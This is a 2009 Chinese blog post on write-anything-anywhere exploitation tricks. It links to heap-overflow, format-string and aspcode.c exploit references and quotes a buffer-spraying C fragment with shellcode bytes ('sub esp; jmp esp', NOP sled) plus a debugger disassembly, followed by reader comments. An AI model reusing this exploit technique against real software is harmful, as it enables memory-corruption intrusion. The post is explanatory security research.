百度空间 | 百度首页 
 
查看文章
 
write-anything-anywhere的利用技巧
2009-10-08 22:13

堆溢出的研究》:

http://hi.baidu.com/yuange1975/blog/item/1ced99ce1498353cb600c83d.html

《高级format string exploit技术P59-0x07》:

http://blog.donews.com/zwell/articles/278935.aspx

aspcode.c:

http://www.packetstormsecurity.org/0209-exploits/aspcode.c

     char buff7[]=   "\x10\x00\x01\x02\x03\x04\x05\x06\x1c\xf0\xfd\x7f\x20\x21\x00\x01";

     char buff10[]="\x20\x21\x00\x01\x20\x21\x00\x01";
     char buff9[]= "\x20\x21\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30";
     char buff8[]= "\x81\xec\xff\xe4\x90\x90\x90\x90\x90\x90\x90\x90\x90";

     for(k=0;i<0xc000;i+=0x10)

     {
            if(i>=j) {
  
                  k=((i-j)/(MCBSIZE*8));
                  if(k<=6){
                      memcpy(buff7+0x8,buff10,8);
                      buff7[0x8]=buff8[k];
                      buff7[0xc]=buff9[k];
                  }
                  else memcpy(buff7,buff11,0x10);
            }
            memcpy(buff+i,buff7,0x10);
  
        }

/*

0x7ffdf020->0x01002120->81 ec 21 00 01 00 ff e4

0:000> e esp-100 81 ec 21 00 01 00 ff e4
0:000> u esp-100
0029f6ec 81ec21000100    sub     esp,10021h
0029f6f2 ffe4            jmp     esp

有几个人能看出来这个结果呢?

*/

smbv2:

http://hi.baidu.com/int3/blog/item/2536bfc8c216881d7e3e6ff3.html#comment


类别:溢出 | 添加到搜藏 | 浏览() | 评论 (6)
 
最近读者:
 
网友评论:
1
2009-10-08 22:42 | 回复
沙发同样需要技巧
 
2
2009-10-09 11:10 | 回复
bench also need skill
 
3
2009-10-09 18:38 | 回复
放的是yuange的血么?
 
4
2009-10-09 18:49 | 回复
强烈建议yuangge开个培训班
要不太寂寞了
 
5
2009-10-15 07:04 | 回复
可怜我这个外行,还要去对ascII表。拜读中。
 
6
2009-10-22 17:58 | 回复
即然知道很多人看不懂那干吗还要放出来?中国貌似只有您一个人懂了....!↓n/a↑
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu